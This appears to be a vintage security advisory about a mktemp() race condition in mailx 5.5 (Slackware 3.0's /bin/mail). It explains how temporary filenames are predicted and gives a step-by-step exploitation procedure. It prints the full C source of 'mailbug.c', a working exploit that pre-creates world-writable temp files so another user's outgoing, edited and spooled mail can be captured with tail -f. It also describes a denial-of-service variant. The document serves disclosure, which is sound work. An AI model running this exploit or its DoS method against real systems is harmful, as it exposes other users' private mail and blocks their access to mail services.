COMMAND

    mailx

SYSTEMS AFFECTED

    Slackware 3.0 Linux and others with mailx-5.5

PROBLEM

    There is a  problem prevalent in  the way many  programs implement
    their usage  of mktemp()  in order  to create  temporary files  in
    /tmp,  allowing  users  on  a  machine  to  read  and write to the
    contents of temporary files created.

    The basic problem  is that there  is a race  condition that exists
    between the point that a program calls mktemp(), and the  pathname
    returned by mktemp  is actually created.   For some programs,  the
    file creation is immediately  or almost immediately following  the
    mktemp(), resulting in an  extremely small window of  opportunity,
    and as  a result  making it  very difficult  to exploit.  However,
    there are other  programs that do  not immediately open  the file,
    and in  these cases  it is  only a  matter of  getting the  timing
    right in order to exploit the hole.

    To  exploit  this  hole,  simply  create  the  file  that mktemp()
    returns  as  a  valid  temporary  filename after mktemp() has been
    called, but  before the  file has  been opened,  allowing the user
    running  the  program  permissions  to  read  and  write from that
    temporary file.   The program will  then succeed in  an fopen, and
    will  write  to  the  file,  oblivious  to the fact that it didn't
    actually create the file, and that others can also read and  write
    from the file.

    Note  that  most  programs  will  immediately unlink() a temporary
    file,  but  that  does  not  delete  it  until after it is closed.
    Closing a file  results in the  contents of it  being flushed, and
    so by using a  'tail -f' or a  similar procedure, you can  capture
    the contents of the file before it is removed from the filesystem.

    The filename returned  by mktemp() is  easily determined for  most
    unix platforms, allowing this bug to be exploited.  For the  linux
    libc,  this  is  to  replace  the  X's  in  the  template with the
    leftmost  digit  starting  at  'a',  and  then  being  incremented
    'a'-'z', 'A'-'Z', and '0'-'9'  (if that file already  exists), and
    then  replacing  the  rest  of  the  X's  with  the  process id (0
    padded).   Other  operating  systems  use  a  variation  of   this
    technique, experimentation easily reveals the algorithm.

    The  generic  procedure  used  to  formulate  an  exploit  for   a
    particular program with this bug is as follows:

        1. detect the execution of the program.
        2. determine the temporary filename that mktemp() will  return
           when called by the program.
        3. determine  the point  at which  mktemp() is  called by  the
           program, and immediately  following that point,  create the
           file, with rw permissions for  the user who is running  the
           program.
        4. read the contents of the temporary file, using a 'tail  -f'
           or your own routines.
        5. if the  sticky bet is  set on /tmp,  clean up your  mess by
           rm'ing  the  temp  file  you  created,  since  the unlink()
           called  by  the  actual  program  will  fail if you are the
           owner.

    Linux's  /bin/mail,  as  included  in  Slackware  3.0 (mailx 5.5),
    suffers  from  this  mktemp()  problem  in  all temporary files it
    creates.   It  uses  5  temporary  files  with filenames generated
    during the  program's initialization  in a  tinit() function,  and
    then  uses  them  as  it  becomes  necessary  during the program's
    execution.  The  race condition begins  in this tinit()  function.
    The temporary files that can be exploited are as follows:

    /tmp/ReXXXXXX
        Used when a  user selects 'e'  from the mailx  command prompt,
        to edit mail.   The message the user  has selected to edit  is
        copied  to  the  temporary  file  at  this point, and then the
        editor is invoked on that temp file.  The race condition  ends
        when the user  has selected 'e',  and allows the  mesage being
        edited to be read.
    /tmp/RsXXXXXX
        Used when a  user sends mail,  usually from the  command line,
        such as:  'mail  dave'.  The race  condition ends when EOF  is
        recieved from stdin, and the message is about to be sent,  and
        allows the outgoing mail to be read.
    /tmp/RqXXXXXX
        Used  when  mail  arrives  into  the  mail spool while mail is
        currently running.  The  race condition ends when  the program
        is preparing to shutdown, and  allows the new contents of  the
        mail spool to be read.
    /tmp/RmXXXXXX
        Used to prepend a message to the user's mbox file.  Prepending
        requires the entire mbox contents to be read to the  temporary
        file and  then appened  to the  new message(s)  being added to
        the file.   This is  disabled by  default in  Slackware 3.0 in
        the /etc/mail.rc  by the  use of  the set  append option.  For
        this  to  be  useful,  that  option  needs  to be removed from
        /etc/mail.rc, or  an unset  append needs  to be  added to  the
        user executing mail's .mailrc  file.  The race  condition ends
        when the program is preparing to shutdown
    /tmp/RxXXXXXX
        Used to read  messages from the  user's mail spool.   The race
        condition ends  during the  program's startup,  when the  mail
        spool is read, and allows any new mail in the user's spool  to
        be read.  Because there  is no user input between  tinit() and
        this  point,  it  is  the  only  race  condition  that   isn't
        completely trivial to exploit.

    The exploit  that follows  demonstrates the  flaws in  all but the
    final  temporary  file.   To  use,  wait  for  a  mail  process to
    execute, then call the mailbug  program with the process id  as an
    argument, and finally  execute a tail  -f /tmp/R*, and  let it run
    until the mail program has terminated execution.

    As an aside,  there are a  number of programs  that are vulnerable
    to  a  directed  denial  of  service attack preventing people from
    using  them  by  creation  of  the  62  temporary  files  that are
    attempted to be used by mktemp(), resulting in the failure of  the
    program to run.   By continous running  of a program  watching for
    these vulnerable  programs to  start, they  can be  prevented from
    ever  successfully  executing  (one   such  example  of  this   is
    in.pop3d, which would allow a  denial of service attack against  a
    specific user from recieving mail through pop).


mailbug.c:
/* This  program  creates  temporary  files  used  by mailx (/bin/mail
   under   Slackware  3.0),  which  can  then  be read by the program.
   This will exploit 4 of  the 5 temporary files, the  final temporary
   file is a tighter race condition, and is not handled by this  code.
   Following execution  of this  program with  the process  id of mail
   that is running, execute 'tail  -f /tmp/R*', redirecting to a  file
   if desired, and allow it to run until the mail process has  exited.
   This can be easily handled in  a shell script, but is not  included
   since it  is not  needed to  sufficiently demonstrate  the security
   flaw.

   Dave M. (davem@cmu.edu)
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void exploit_mktemp(char *dest, char *prepend, char *pid)
{
  int i;

  strcpy(dest,prepend);
  for(i=strlen(pid);i<6;i++)
    strcat(dest,"0");
  strcat(dest,pid);
  dest[strlen(prepend)] = 'a';
}


main(int argc, char **argv)
{
  char tmpf[5][80];    /* hold filename */

  umask(0);

  if(argc<2)
    {
      printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
      return -1;
    }

  /* get mktemp filenames */
  exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
  exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
  exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
  exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);


  /* create temporary files */
  creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

}

SOLUTION

    chmod o-x /usr/bin/Mail (ie: use something else)